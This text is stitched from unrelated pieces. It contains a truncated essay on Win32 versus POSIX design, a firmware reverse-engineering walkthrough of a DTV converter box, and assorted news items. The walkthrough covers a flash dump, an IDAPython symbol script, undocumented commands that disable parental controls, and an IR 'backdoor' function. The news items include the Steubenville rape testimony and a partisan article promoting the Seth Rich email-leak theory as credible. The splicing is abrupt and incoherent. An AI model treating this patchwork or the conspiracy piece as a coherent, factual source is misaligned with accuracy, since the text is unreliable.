If the Win32 API treats security so seriously, why does Windows fail most security tests in the real world? The answer is that most applications ignore this wonderful, flexible security mechanism; because it's just too hard to use. Just like the problem with the POSIX pathconf() call. No one can use it correctly; your application would degenerate into a mess. It doesn't help that Microsoft, having realized the APIs controlling security were too hard to use, has been adding functions to simplify this mess, sometimes adding new APIs with a new service pack. In addition, they've been extending the underlying semantics of the security mechanism, adding new flags and new behaviors as they moved into the "Active Directory" world.
Try taking a look at the "file security dialog" in Windows 2000. It's incomprehensible. No one, especially a system administrator, can keep track of this level of detail across their files. Everyone just sets one default ACL on the root of a directory hierarchy and hopes for the best. Most administrators usually want to do two simple things with an ACL. Allow group "X" but not user "Y", and allow group "X" and also user "Z". This is just about comprehensible with POSIX ACLs, although they're near the limit of the complexity people can deal with. The Win32 security system is orders of magnitude more complex than that; it's hopelessly over designed. Computer scientists love it, as it's possible to do elegant little proofs of how secure it is, but in the real world it's simply too much to deal with effectively. A great idea, adding ACLs to every system object, but a real shame about the execution.
Just to spread the blame around, the networking "experts" who designed the latest version of Sun's network file system, NFS version 4, fell in love with this security mechanism and decided it would be a great idea to add it into the NFSv4 specification. They probably thought it would make interoperability with Windows easier. Of course they didn't notice that Microsoft had been busily extending the security mechanism as Windows has developed, so they standardized on an old version of the Windows ACL mechanism, as Microsoft documented it (not as it actually works). So now the Unix world has to deal with this mess, or rather, a new network file system with an ACL model that is almost but not quite compatible with Windows ACLs, and completely alien to anything currently found on Unix. I sometimes feel Unix programmers are their own worst enemies.
The Tar Pit: Backwards Compatibility
Now, as an example of where Win32 got things spectacularly wrong, I want to look at a horror from the past, that unfortunately got added into the Win32 interfaces due to the MS-DOS heritage. My pet hate with Win32 is the idea of "share modes" on open files. In my opinion, this one single legacy design decision has probably done more to hold back the development of cluster aware network file systems on Win32 systems than anything else.
Under POSIX, an open() call is very simple. It takes a pathname to open, the way in which you want to access or create the file (read, write or both with various create types) and a permission mask that gets applied to files you do create. Under Win32, the equivalent call CreateFile() takes seven parameters, and the interactions between them can be ferociously complex. The parameter that causes all the trouble is the " ShareMode " parameter. This can take values of any of the following constants OR'ed together :
FILE_SHARE_READ : Allow others to open for read FILE_SHARE_WRITE : Allow others to open for write FILE_SHARE_NONE : Don't allow any other opens FILE_SHARE_DELETE : Allow open for delete intent
In order to make the semantics here work this means that any Windows kernel dealing with a file open has to know the about every other application on the system that might have this file open. This was fine back in the single machine MS-DOS days, when these semantics were first designed, but is a complete disaster when dealing with a clustered file system where a multitude of connected file servers may want to give remote access to the same file, even if they're only serving out the file read-only to applications. They have to consult some kind of distributed lock management system in order to keep these MS-DOS inherited semantics working. While this can be done, but it complicates the job enormously and means cluster communication on every CreateFile() and CloseHandle() call.
This is the bane of backwards compatibility at work. This idea of "share modes" arbitrating what access concurrent applications can have to a file is the cause of many troubles on a Windows system. Ever wonder why Windows has a mechanism built in to allow an application to schedule a file to be moved, but only after a reboot? Share modes in action. Why are some files on a Windows server system impossible to back up due to "Another program is currently using this file" errors? Share modes again. There is no security permission that can prevent a user opening a file with effectively "deny all" permissions. If you can open the file for read access, you can get a share mode on it by design. Consider a network shared copy of Microsoft office. Any user must be able to open the file " WINWORD.EXE " (the binary file containing Microsoft Word) in order to execute it. Given these semantics any user can open the file with READ_DATA access with the " ShareMode " parameter set to FILE_SHARE_NONE and thus block use of the file., even over the network. Imagine on a Unix system being able to open the /etc/passwd file with a share mode and denying all other processes access. Watch the system slowly grind to a halt as the other processes get stuck in this tar pit....
World Domination, Fast
Now I've heaped enough opprobrium on Win32, let's give it a break and consider something the designers really did get right, and one of the advantages it has over POSIX. I'm talking about the early adoption of the UNICODE standard in Win32. When Microsoft was creating Win32 one of the things they realized was that this couldn't just be another English-only, American and European-centric standard, it had to be able to not only cope with, but encourage, applications written in all world languages (never accuse Microsoft of thinking small in their domination of the computing world).
Given that criteria, their adoption of UNICODE as the native character set for all the system calls in Win32 was a stroke of genius. Even though the Asian countries aren't particularly fond of UNICODE as it merges several character sets they consider separate into one set of code points, UNICODE is the best way to cope with the requirements of internationalization and localization in application development.
In order to allow older MS-DOS and Win16 applications to run, the Win32 API is available in two different forms, selectable by a compiler #define of -DUNICODE (it also helps if you own the compiler market for Windows, as Microsoft does, as you can standardize tricks like this). The older code page based applications call Win32 libraries that internally convert any string arguments to 16-bit UNICODE and then call the real Win32 library interface, which like the Windows NT kernel, is UNICODE only.
In addition to this Win32 comes with a full set of library interfaces to split out the text messages an application may need to display into resource files so ISVs can easily have them translated for a target market. This eases the internationalization and localization burdens considerably for vendors.
What is more useful, but not as obvious, is that making the Win32 standard natively use UNICODE meant developers were immediately confronted with the requirements of multilingual code development. So many applications written in English speaking or Western European 8-bit character set compatible countries are badly written, making the assumption that a character will always fit within one byte. The early versions of Samba definitely had that mistake and retro-fitting multi-byte character set handling into old code is a real bear to get right. I know as I was the person who first had to work on this for Samba (later I got some much needed help from Andrew) so I may be a little touchy on this subject.
Whenever I did Win32 development I immediately designed with non-English languages in mind, and wrote everything with the abstract type TCHAR (one of the few useful abstract types in Win32), which is selectable at compile time using the UNICODE define to be either wchar_t with UNICODE turned on or unsigned char with UNICODE turned off. Getting yourself in the right multi-byte character set mindset from the beginning eliminates a whole class of bugs that you get when having to convert a quick "English only" hacked up program into something maintainable for different languages. POSIX has been catching up over the years with the iconv() functionality to cope with character set conversions, and the SUN designed gettext() interfaces for localization but Win32 had it all right from the start.
Wither Win32?
As with POSIX, the Win32 standard has not stayed static over time. Microsoft have continued to develop and extend it, and have the advantage that anything they publish immediately becomes the "standard", as is the case with all single vendor defined standards.
However Microsoft is attempting to deemphasize Win32 as they move into their new.NET environment and the new world of "managed code". Managed code is code running under the control of an underlying virtual machine (called the Common Language Infrastructure, or CLI in.NET) and can be made to prevent the direct memory access that is the normal mode of operation of an API designed for "C" coding, such as Win32 or POSIX. Free Software is also making a push into this area too, with the "Mono" project which implements the Microsoft C# language and.NET managed code environment on Linux and other POSIX systems.
Even if Microsoft are as successful as they hope in pushing ISV programmers to convert to.NET and managed code using their new C# language, the legacy of applications developed in C using the Win32 API will linger for decades to come. ISV programmers are an ornery lot, especially people who have mastered the Win32 API, due to it's less than complete documentation.
What seems to happen over the years is that experienced Win32 programmers gain this sort of folk-knowledge about the Win32 APIs, how they really work versus what the documentation says. I often hang out on Usenet Windows discussion groups and it's very interesting to watch the attitudes of the experienced Windows programmers. They usually hate telling novices how stuff works, it's almost like learning it was a badge of honor, and they don't want to make it too easy for the neophytes. The exude an air of "They must suffer as I did".
As Microsoft becomes less interested in Win32 with the release of their new "Longhorn" Windows client and the move to managed code, is it possible for them to lose control of it? The POSIX standard is so complete because it was designed to allow programmers reading the standards documents to re-create a POSIX system from scratch. The Win32 standard is nowhere near as well documented as that. However there is hope in the Wine project, which is attempting to re-create a version of the Win32 API that is binary compatible with the Windows on Intel x86 systems. Wine is in effect a second implementation of the Win32 system making it closer to a true vendor independent standard. Efforts taking place at companies like CodeWeavers and Transgaming Technologies are very promising; I just finished playing the new Windows-only game Half Life 2 on my desktop Linux system, using the Wine technology. This is a significant achievement for the Wine code and bodes well for the future.
Choosing a Standard
Between two evils, I always like to take the one I've never tried before. --Mae West
So what should we choose when examining what standards to support and develop applications for? What should we recommend to business and governments who are starting to look closely at the Open Source/Free Software options available?
What is important is when business and governments are selecting products based on standards, they pay attention to open standards. No more Microsoft Word ".DOC" format standards (which suffers from the same problem as Win32 as being single vendor controlled). No de-facto vendor standards, no matter |
Msg 0 -------------------------- ------- ---- ----------- -------------------- call 0xdd3c4 result = 0x49 (73)
And the ‘key’ command displays IR codes and their associated actions:
Shell> key MiniShell: [key] call function of '0x00052014' [APP miniShe 55] 4398 -- key string help -- [APP miniShe 55] 4398 00800000 POWER_OFF [APP miniShe 55] 4398 00800001 MUTE [APP miniShe 55] 4398 00800002 CC [APP miniShe 55] 4398 00800003 ALANG [APP miniShe 55] 4398 00800004 SCREEN [APP miniShe 55] 4398 00800005 FAV [APP miniShe 55] 4398 00800006 STILL [APP miniShe 55] 4398 00800007 INFO [APP miniShe 55] 4398 00800008 EPG [APP miniShe 55] 4398 00800009 SRS_MODE [APP miniShe 55] 4398 00800010 UP [APP miniShe 55] 4398 00800011 DOWN [APP miniShe 55] 4398 00800012 LEFT [APP miniShe 55] 4398 00800013 RIGHT [APP miniShe 55] 4398 00800018 VOL_UP [APP miniShe 55] 4398 00800019 VOL_DOWN [APP miniShe 55] 4398 0080001a CH_UP [APP miniShe 55] 4398 0080001b CH_DOWN [APP miniShe 55] 4398 00800020 SELECT [APP miniShe 55] 4398 00800021 PREV_CH [APP miniShe 55] 4398 00800022 MENU [APP miniShe 55] 4398 00800023 HELP [APP miniShe 55] 4398 00800024 DRF [APP miniShe 55] 4398 00800025 EXT_INPUT [APP miniShe 55] 4398 00800026 CH_ADD [APP miniShe 55] 4398 00800027 CH_DEL [APP miniShe 55] 4398 00800028 EXIT [APP miniShe 55] 4398 0080002e ADT [APP miniShe 55] 4398 00800030 0 [APP miniShe 55] 4398 00800031 1 [APP miniShe 55] 4398 00800032 2 [APP miniShe 55] 4398 00800033 3 [APP miniShe 55] 4398 00800034 4 [APP miniShe 55] 4398 00800035 5 [APP miniShe 55] 4398 00800036 6 [APP miniShe 55] 4398 00800037 7 [APP miniShe 55] 4398 00800038 8 [APP miniShe 55] 4398 00800039 9 [APP miniShe 55] 4398 00800043 SLEEP [APP miniShe 55] 4398 00800044 SMART_PICTURE [APP miniShe 55] 4398 00800045 SMART_SOUND [APP miniShe 55] 4398 00800046 CH_BLOCK_EDIT [APP miniShe 55] 4398 00800081 DOT [APP miniShe 55] 4398 00800120 BACK [APP miniShe 55] 4398 call 0x52014 result = 0x1 (1)
There are some other interesting commands sprinkled in there, such as the video_freeze command that allows you to freeze the on screen video without interrupting the audio (an option I couldn’t find anywhere in the menu-driven user interface), or the rating_enable command which allows you to enable/disable the parental content filters without a password (bye-bye V-chip!).
This is all interesting, but if we really want to get down and dirty with this thing we’re going to need some firmware. There are of course no firmware updates for these converter boxes, so instead we’ll remove the flash chip and dump its contents using flashbin and a Gumbi board (raw flash image can be downloaded here):
$ flashbin --chip=mx29lv160 --read=flash.bin Reading all bytes starting at address 0x0… [################################################] 100.00%
All of the strings in the dumped firmware image appear to be related to the bootloader, but a binwalk scan reveals a gzip compressed section of data at offset 0x20800:
DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------- 30216 0x7608 uImage header, header size: 64 bytes, header CRC: 0xE15744, created: Sat Jun 20 18:12:44 1970, image size: 14767988 bytes, Data Address: 0xE15790, Entry Point: 0xE157A4, data CRC: 0xE3520001, image name: \341\240@\002\341\240p\003\343\240` 101737 0x18D69 LZMA compressed data, properties: 0x80, dictionary size: 21364736 bytes, uncompressed size: 33554432 bytes 133120 0x20800 gzip compressed data, from Unix, DD-WRT date: Wed Dec 31 19:00:00 1969
Running a code scan with binwalk (option -A) against the extracted gzip contents confirms that it contains big endian ARM instructions:
DECIMAL HEX DESCRIPTION --------------------------------------------------------------- 896 0x380 ARMEB function prologue 1132 0x46C ARMEB function epilogue 1360 0x550 ARMEB function epilogue 1436 0x59C ARMEB function prologue 1464 0x5B8 ARMEB function epilogue 1472 0x5C0 ARMEB function prologue 1544 0x608 ARMEB function epilogue 1652 0x674 ARMEB function prologue 1844 0x734 ARMEB function epilogue 2224 0x8B0 ARMEB function prologue 2292 0x8F4 ARMEB function epilogue 2360 0x938 ARMEB function epilogue 2456 0x998 ARMEB function prologue 2596 0xA24 ARMEB function epilogue 2700 0xA8C ARMEB function prologue 2752 0xAC0 ARMEB function epilogue 2848 0xB20 ARMEB function epilogue 2856 0xB28 ARMEB function prologue...
Based on this and a quick look at the strings, this is definitely looking like the OS code, so let’s get it loaded into IDA. Based on the boot messages obtained from the serial port, the gzipped data we found at offset 0x20800 gets loaded into memory at 0x10000, which is where execution starts (also note the pSymTab address…this will be useful later!):
... Boot from address 2c000000 Boot from flash MMU CR : 000510f8 (00004000)-> 000550fb Processing BIZ file-from Flash: 0x2c020000 Aux data is symbol table(399362 bytes), pSymTab=0x1dfa8c [Application Code] Loading[4] Image from 2c020800 to 00010000(+1512037) -- TRY 0 ==> 2298510 bytes loaded in 0.778 sec, rc=0 -- Checking CRC32[Bin ] ==> Good, in 0.158 sec Moving 7270 symbols(312102 bytes) from 0x001dfa8c to 0x0026d2c4 Load Image to 00010000... Start from 00010000...
Loading the extracted code into IDA at the offset 0x10000 results in a decent initial analysis:
String references also check out, and we have several promising candidates for common library functions, such as snprintf:
This is encouraging, but with almost 4,000 functions, manually identifying them will take too long. Looking at the strings in IDA, there appears to be a list of strings that correspond to function and symbol names, starting at address 0x222ADF:
Now we need to find out how to correlate these strings to their appropriate functions. The boot messages mentioned a symbol table at 0x1DFA8C, so we’ll start looking there. At address 0x1DFAAC, we find what appears to be a list of symbol structures:
The symbol structure appears to be:
struct symbol { uint32_t func_address; /* Function pointer to this symbol's function */ uint32_t next_func_address; /* Function pointer to the next symbol's function */ uint32_t symbol_name_offset; /* Offset of the symbol name in the symbol strings listing */ };
Applying this structure to the first entry in the above IDA screenshot, the func_address is 0x10000 which is the entry point for our code. Adding its symbol_name_offset value (0x1BAB2) to the address where we found all the symbol strings (0x222ADF), we get: 0x222ADF + 0x1BAB2 = 0x23E591. Here we find the string “start_code”:
This looks good! A quick IDAPython script takes care of renaming all of the functions to their appropriate symbol names:
start_names = 0x222ADF start_addrs = 0x1DFAAC addr = start_addrs symbol_addr = BADADDR while symbol_addr!= 0: symbol_addr = Dword(addr) next_symbol = Dword(addr + 4) string_addr = start_names + Dword( addr + 8 ) symbol_name = GetString(string_addr) try: if GetSegmentAttr(symbol_addr, SEGATTR_TYPE) == 2: MakeFunction(symbol_addr) except: pass MakeName(symbol_addr, symbol_name) print '0x%X %s' % (symbol_addr, symbol_name) addr += (4*3)
After running this script, 96% of our functions have been named, including the function we previously identified as snprintf:
Coupling this with the available source code for the uC/OS-II RTOS, we could really go to town on figuring out how exactly this thing works if we were so inclined. But scrolling through the list of functions, one of the function names caught my attention:
App_CheckRemoteBackdoorKey? 🙂
It turns out that this function is called by the MainRemoteKeyTask function, which passes App_CheckRemoteBackdoorKey the infrared key code received from the IR remote control. If one of several special IR codes is detected by App_CheckRemoteBackdoorKey, MainRemoteKeyTask will preform several actions such as providing a service menu, running a factory test, and even performing and over the air firmware upgrade:
These are actually pretty neat little boxes, and there is a surprising amount of potential for customization and modification. I can envision a wireless microcontroller that provides an enhanced user interface via the serial port and can automate commands, such as switching the channel when your favorite show comes on. Unfortunately, DTV reception is terrible here which really takes all the fun out of any cool mods like this. Oh well, I’m off to watch some Netflix.SPRINGFIELD — State workers and retirees can breathe a sigh of relief — at least for a while — after a judge on Wednesday delayed the start of a far-reaching overhaul of their pensions until it can be determined whether the measure passes legal muster.
Retiree groups and a union coalition called We Are One Illinois won a temporary restraining order and preliminary injunction in Sangamon County Circuit Court that will put the law on hold and prevent it from taking effect on June 1.
The groups argued the law is unconstitutional because it scales back benefits and raises retirement ages. Under the Illinois Constitution, public employee pensions are a “contractual relationship” with benefits that cannot be “diminished or impaired.”
“This is an important first step in our efforts to overturn this unfair, unconstitutional law and to protect retirement security for working and retired Illinois families,” said Michael T. Carrigan, president of the Illinois AFL-CIO, the point man for the union coalition.
Judge John Belz recognized the retirees and others in the pension systems could suffer “irreparable harm” if the law is allowed to go forward while the constitutionality issues is still being fought out in the courts, according to his order. The case is expected to wind up in the Illinois Supreme Court.
“The goal of the pension reform law is to stabilize the pension systems,” said Maura Possley, spokeswoman for Attorney General Lisa Madigan. “Unfortunately, this decision will likely further burden the systems and hurt taxpayers.”
Gov. Pat Quinn and lawmakers approved the change to try to erase a pension system debt that tops $100 billion. The law impacts rank-and-file state workers, elected state officials, university employees and public school teachers outside of Chicago.
Rep. Elaine Nekritz, a Northbrook Democrat and a pension expert, said she did not think the judge’s ruling would slow down attempts by Cook County to overhaul its retirement systems. But many at the Capitol are feeling what is being called “pension fatigue” following reforms approved for state plans, which the governor signed into law, and some of the city of Chicago plans, which Quinn has not yet said whether he will sign.
rlong@tribune.com
Twitter @RayLongJosh Homme of Queens of the Stone Age recently made quite a memorable entrance to a party in the Hollywood Hills, in a manner of speaking. The frontman was allegedly run off the road by an out of control Range Rover only to end up smashing into a fence, literally crashing an outdoor party.
Homme, who has been out on the press circuit promoting QOTSA’s new disc ‘…Like Clockwork’ told Radio.com about the recent accident that landed his beloved 1967 Camaro straight into a wall. Homme said that in order to avoid a head-on collision with the SUV on the narrow road, he had no choice but to veer off course, landing him in the precarious predicament.
Homme, making light of the situation, told how things went down after that. "I quickly said, 'Sorry I’m late!' to the party guests and climbed out of his vehicle to do damage control. "So I get out [of the car], and there was this guy who kind of looked like Kyle Glass [of Tenacious D] across the street, and he’s got a guitar on,” explained Homme. “He goes, ‘Dude, Queens of the Stone Age just ran through the fence across the street!’ And then [the driver of the Range Rover] goes, ‘I’m on 'One Tree Hill!'’ I go, ‘That’s not the way to make fans. And by the way, I almost hit one tree on this hill.’”
Luckily it seems that Homme and the actress both walked away relatively unscathed although no reports on what kind of damage was done to the Camaro or the fence.More Americans approve of President-elect Donald Trump than ever before, a new Politico/Morning Consult poll published Monday reveals.
Forty-six percent of all voters now hold a favorable view of Trump, compared to 12 percent of respondents who hold an unfavorable opinion, and 34 percent who hold a very unfavorable opinion.
Interestingly, President Barack Obama’s approval rating is also up in the poll. He earned a 54 percent approval rating, compared to 43 percent who disapprove of the job he is doing in the White House.
“Trump’s favorability among voters has reached new highs since he became president-elect,” Morning Consult co-founder Kyle Dropp wrote in the accompanying statement.
“This honeymoon phase in common for new presidents. For example, Obama saw about a 20 point swing in his favor following the 2008 election.”
Voters appear to be impressed with Trump’s handling of the presidential transition, with 19 percent of respondents reporting they felt Trump was doing a better job than other president-elects in the past, and 34 percent of respondents reporting they felt the transition was on par with other transitions in the past.
“About half say Donald Trump’s presidential transition is as organized or more organized than previous administrations, whereas about one in three describe it as less organized than past transitions,” said Dropp. “Many of the initial transition picks including Reince Priebus, Steve Bannon and Jeff Sessions are still largely unknown to Americans.”
A Pew Research poll also released Monday revealed that 96 percent of Trump supporters in the poll were “hopeful” about Trump’s administration, compared to only 7 percent of Democratic nominee Hillary Clinton supporters. Ninety percent of Clinton supporters claimed they were uneasy about Trump’s win.
Morning Consult polled 1,885 registered voters in the poll, for a margin of error of 2 percentage points in either direction.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.Folks…In only a couple of days there will be an explosion of Steam machine news coming from CES in Las Vegas. While most information is already known, what is not known is who plans on selling their own Steam machines and for what price. First one out of the gate should be by iBuyPower. They plan on making a Steam machine around the size of a PS4, and slightly smaller than an Xbox One, that will include a multi-core AMD Cpu, 500GB hard drive (we are not sure if this will be SSD but doubtful), WiFi, Bluetooth, and an AMD Radeon R9 270 graphics card. That card alone is $180 folks if you buy it outright. If this all pans out and you can get these spec’s for that $499 price Valve could very well pull major sales away from the Xbox One.
Related"A slipping gear could let your M203 grenade launcher fire when you least expect it. That would make you quite unpopular in what's left of your unit."
—Army's magazine of preventive maintenance. "Aim towards the Enemy."
—Instruction printed on U.S. Rocket Launcher "The only time you have too much fuel is when you're on fire."
—Anon "When the pin is pulled, Mr. Grenade is not our friend.
—U.S. Marine Corps "Cluster bombing from B-52s is very, very accurate. The bombs are guaranteed to always hit the ground."
—U.S.A.F. Ammo Troop "Flying the airplane is more important than radioing your plight to a person on the ground incapable of understanding or doing anything about it."
—Emergency Checklist "If the enemy is in range, so are you."
—Infantry Journal "It is generally inadvisable to eject directly over the area you just bombed."
—U.S. Air Force Manual "Whoever said the pen is mightier than the sword obviously never encountered automatic weapons."
—Gen. MacArthur "There is no reason to fly through a thunderstorm in peacetime."
—Sign over Squadron Ops Desk at Davis-Montham AFB, AZ "Try to look unimportant; they may be low on ammo."
—Infantry Journal "You, you, and you… Panic. The rest of you, come with me."
—U.S. Marine Corp Gunnery Sgt. "Tracers work both ways."
—U.S. Army Ordnance "Five second fuses only last three seconds."
—Infantry Journal "When one engine fails on a twin-engine airplane, you always have enough power left to get you to the scene of the crash."
—Multi-Engine Training Manual "Don't ever be the first, don't ever be the last, and don't ever volunteer to do anything."
—U.S. Navy Swabbie "Bravery is being the only one who knows you're afraid."
—Col. David Hackworth "The Piper Cub is the safest airplane in the world; it can just barely kill you."
—Attributed to Max Stanley (Northrop test pilot) "If your attack is going too well, your walking into an ambush."
—Infantry Journal "No combat ready unit has ever passed inspection."
—Joe Gay "Any ship can be a minesweeper... once."
—Anon "Never tell the Platoon Sergeant you have nothing to do."
—Unknown Marine Recruit "Airspeed, altitude and brains. Two are always needed to successfully complete the flight."
—Basic Flight Training Manual "Don't draw fire; it irritates the people around you."
—Your Buddies "If you see a bomb technician running, follow him."
—U.S.A.F. Ammo Troop As the test pilot climbs out of the experimental aircraft, having torn off the wings and tail in the crash landing, the crash truck arrives. The rescuer sees a bloodied pilot and asks, "What happened?" The pilot"s reply: "I don't know, I just got here myself!"The 16-year-old girl allegedly raped by two high school football players in Steubenville, Ohio, testified on Saturday that she woke up the morning after the alleged assault not knowing what had happened, NBC News reported.
“I didn’t know what to think,” the accuser said. “I didn’t remember anything and it freaked me out.”
According to Reuters, the girl also testified that she hesitated before identifying the defendants, 17-year-old Trent Mays and 16-year-old Ma’lik Richmond, as her attackers, even after seeing a video making light of the assault, which prosecutors said took place after the three left a party together in August 2012.
Mays and Richmond are accused of raping the girl via manual penetration while she was unconscious and are being tried as juveniles, meaning that if found guilty, they could be in jail until they turn 21 and be required to register as sex offenders. The case gained international attention after the hacker collective Anonymous released information connected to the incident, alleging that local authorities were protecting the defendants because of their athletic connections.
“Honestly, I was praying that everything I heard wasn’t true,” the accuser told prosecutor Marrianne Hemmeter on Saturday. “I didn’t want to get myself into drama because I knew everyone would just blame me.”
Hemmeter also showed the accuser some of the images of her that were posted online, including one that showed her naked with what prosecutors said was semen on her stomach. The accuser testified she had never seen that picture before, and started crying.
Attorneys for Mays and Richmond called two teens, Gianna Anile and Kelsey Weaver, who identified themselves as former best friends of the accuser. Both testified that they ended their friendship with the accuser after she began alleging the two football players raped her.
Weaver testified that she saw the alleged victim drink two beers and four shots of vodka during the night in question, while flirting with Richmond. Weaver also testified that she did not believe the accuser when she said she had been drugged. The accuser, Weaver said, “lies about things.”
Watch NBC News’ report on the accuser’s testimony, aired Saturday, below.
Visit NBCNews.com for breaking news, world news, and news about the economySales of Mortal Kombat X and Batman: Arkham Knight are very good, according to a new report.
The gaming division of Warner Bros. is doing very well for the entertainment publisher. According to a Wall Street Journal [paywall] report, Mortal Kombat X and Batman: Arkham Knight, both published by Warner Bros. and both released this year, have each sold over 5 million copies worldwide.
Lego Jurassic World has also sold over 4 million worldwide, according to the report. Warner Bros., much like most game publishers, does not reveal sales data.
There are ways to get estimates, such as monthly NPD reports, but nothing is comprehensive. The report also does not mention if these numbers represent shipped copies or actual sales.
Batman: Arkham Knight is still not available for sale on PC, but is expected to return at the end of the month.
Thanks, Gamespot.It's been a busy couple of weeks for the world's most famous ball of ground flesh and byproducts.
With the release of the sixth season of Aqua Teen Hunger Force on DVD Tuesday, Meatwad (pictured) had to leave his grill behind while he toured the world's media capitals publicizing the new two-disc set.
The shape-shifting superstar plopped down with Wired.com for 20 questions on the Adult Swim animated hit, the quest for the perfect hot dog and what makes this would-be patty sizzle.
Wired.com: Do you remember the animal(s) from which you were originally ground?
Meatwad: I've got a tough side, and a sweet side, like Mr. T. So they probably ground up some mighty beasts, like two lions and a cobra. Then something cute. A panda perhaps.
Wired.com: Did you ever dream you'd be a star when you were first patted?
Meatwad: One time I dreamt that I was riding a pony with Lionel Ritchie and Carrot Top on the back. Carrot Top turned into a big pizza and then we went to a playground. That was a good dream.
Wired.com: If you weren't meat, what food group would you like to be?
Meatwad: Dippin' Dots. You get to go into outer space and be the dessert for astronauts like Lance Bass.
Wired.com: What's your position on condiments?
Meatwad: Ketchup can turn pretty much anything into a good meal. Empty your pockets and put it on whatever you got in there. Your taste buds will thank you.
Wired.com: What was the audition process like for Adult Swim?
Meatwad: I was frisked several times before I entered the building, but then I realized that I wasn't in the building at all, but behind it in a kudzu patch. That man was lonely.
Wired.com: Your image graces Halloween costumes, throw pillows, stuffed animals and action figures. Have you had any other merchandising ideas?
Meatwad: They crazy! They made a Meatwad artificial hand that didn't sell very well, but it wasn't so... lifelike. No fingers or anything. But it was a dead ringer for me, I'll give 'em that. Still though, I think it was a good conversational piece for the price point.
Wired.com: Who are your acting role models?
Meatwad: Teen Wolf. I wish I could do that. When you transform, you go from zero to hero!
Wired.com: What's your relationship status right now? Are you really the player you portray on TV?
Meatwad: I don't want to be one of those guys that leaves a trail of broken hearts wherever he goes. So I mostly just eat. I have a good relationship with foods of all races.
Wired.com: You've climbed the acting mountain. Any ambitions to write or direct?
Meatwad: I have been working on a one-act version of The Crucible where the witches start farting all over the place and they dress like pilgrims. It's a Thanksgiving comedy with farting as the centerpiece.
Wired.com: What was your reaction to the recent presidential election?
Meatwad: I think the guy that won it is OK. But that kindergarten teacher that was trying to be the president was really funny! She winked at me on the TV. And she eats mooses like some kind of crazy Sasquatch. We need a funny president that eats weird things.
Wired.com: What are your hobbies?
Meatwad: I'm constantly looking for the perfect hot dog. And not the ones with the cheese already in the middle soiling the dog flavor. If I want cheese, I can put cheese on it myself, OK? I'm kind of a perfectionist like that. And color is important. The pinker, the better.
Wired.com: Who do you hang out with after work wraps for the day?
Meatwad: Well, usually I wash all the plates from the craft services table, sweep up some, take out the trash. Usually everybody gone by that time. I didn't read my contract very thoroughly when I got this job.
Wired.com: Are you a religious wad?
Meatwad: I tried church once, but it was so boring. So, I brought my Walkman the next time. At that point I realized that it kind of defeated the purpose of being there. So I just listen to my Walkman at home on Sundays and call it even.
Wired.com: The Aqua Teen Hunger Force movie faced a rough road at the box office. What would Meatwad have done differently?
Meatwad: Well, I guess if I had it to do over, Meatwad wouldn't have spent his advance so far in advance. That money went fast, boy. You can only have so many different colored sweatbands and stuffed koala bears before you gotta eat something. And I'm still poopin' out bear stuffing. Was that too candid? I'm sorry, ya'll.
Wired.com: Do you often refer to yourself in the third person?
Meatwad: Only when you have to be serious about something. Like, "Someone drank all of Meatwad's chocolate milk. Meatwad is pissed off about it." Because it sounds like you're talking about someone else, it makes it weird and confusing for people and psychs them out.
Wired.com: With the exception of a couple pieces of hair and grit, you're often unclothed on camera. Are you comfortable doing nude scenes?
Meatwad: No, and I'm glad you brought that up. In a body-crazy society like ours, it's hard getting out there in front of those harsh, unflattering lights and wearing next to nothing, day in and day out. People stare at you on set, sizing you up. Like they better than you. Like they could get nude and talk on camera better than you, and that they are better at the English language better than you. It's not a competition, ya'll. If you want to get nude on TV, go ahead. Just don't stand in the way of me doing it.
Wired.com: Any plans to settle down? Have a meat family?
Meatwad: I'm too wild for that. Like last night, I ate a whole Wonder Bread with chocolate syrup on it in the bed. What kind of father does that without an earful from the missus?
Wired.com: We now have our first African-American president. Could we one day have a food-based leader?
Meatwad: As long as he or she can bring Lancelot Link, Secret Chimp back to prime-time television, I don't care who it is. That person's got my vote, easy.
Wired.com: What's your position on the pending strike by the Screen Actors Guild?
Meatwad: I hate reruns, so I hope it gets resolved in a responsible fashion. I also hope self-tanning gel is not covered in their benefits. Ya'll, it makes you look weird.
Wired.com: Where do you see your career going in the future?
Meatwad: I'm not sure about that one. It's hard to remember my lines in the show, and they'll use a stand-in, or put peanut butter on my gums, and let me work it out of my mouth. Then they drop the audio in later with a computer. Sometimes I think being a cowboy or a magician would be a lot more fun. Peanut butter's good though, boy.
Image courtesy Adult Swim
See also:In an appearance on Fox & Friends on Wednesday morning, Senator Rand Paul floated the possibility that the Democratic National Committee emails were leaked to WikiLeaks by an insider, rather than “the Russians.”
https://www.youtube.com/watch?v=ZZUPhNDhb7M
It has long been speculated that murdered DNC data analyst Seth Rich was behind the leaked emails.
When asked by Ainsley Earhardt for his reaction to the news that a lawyer for the Clinton campaign and the DNC had funded the infamous Fusion GPS dossier on Trump, Paul laughed.
Trending: REVEALED: Kamala Harris’ Father Admitted She Is Descended From Slave Owners
“It amazes me for a year the Democrats have been whining, whining, and whining saying they lost because of the Russians. It looks like it’s their subterfuge, their ideas, they’re buying the dossier,” Paul stated.
Paul then went on to bravely mention the “rumors” that the leaked emails came from the Democrats.
“Also, you know there are rumors the leaks that went to Wikileaks from all of Clinton emails came from the Democrats as well. So it’s kind of funny, everything they blamed on Republicans it looks like they were the ones responsible for,” Paul asserted.
In audio files previously released by Big League Politics, Pulitzer Prize winning investigative journalist Seymour Hersh asserted that Rich had contacted WikiLeaks with sample emails from the leak, claiming to have seen an FBI document that backed up his belief.
“There are no DNC or Podesta emails that exist beyond May 21 or 22, last email from either one of those groups. What the report says is that some time in late Spring… he makes contact with WikiLeaks, that’s in his computer,” Hersh says in the recording. “Anyway, they found what he had done is that he had submitted a series of documents — of emails, of juicy emails, from the DNC.”
Hersh additionally accused the Obama administration of fabricating the Russian hacking narrative, as people like John Brennan and James Clapper have motivation for wanting Hillary Clinton to win the election over Donald Trump.
“Anyways, Wikileaks got access, and before he was killed- I can tell you right now Brennan is an asshole. Uh, I’ve known all these people for years. Clapper is sort of a better guy but not rocket scientist, the NSA guy’s a fucking moron, and they don’t- you know the trouble with all of those guys is that the only way they’re going to make it to a board or two and get hired by (?) and get some fat cat contracts is if Hillary stayed in. With Trump they’re gone, they’re done, they’re going to live on their pension, they’re not going to make it. And I gotta tell you guys, they don’t want to live on their pension, they want to be on boards,” Hersh says. A full transcript of the audio was posted to Reddit by a dedicated user.
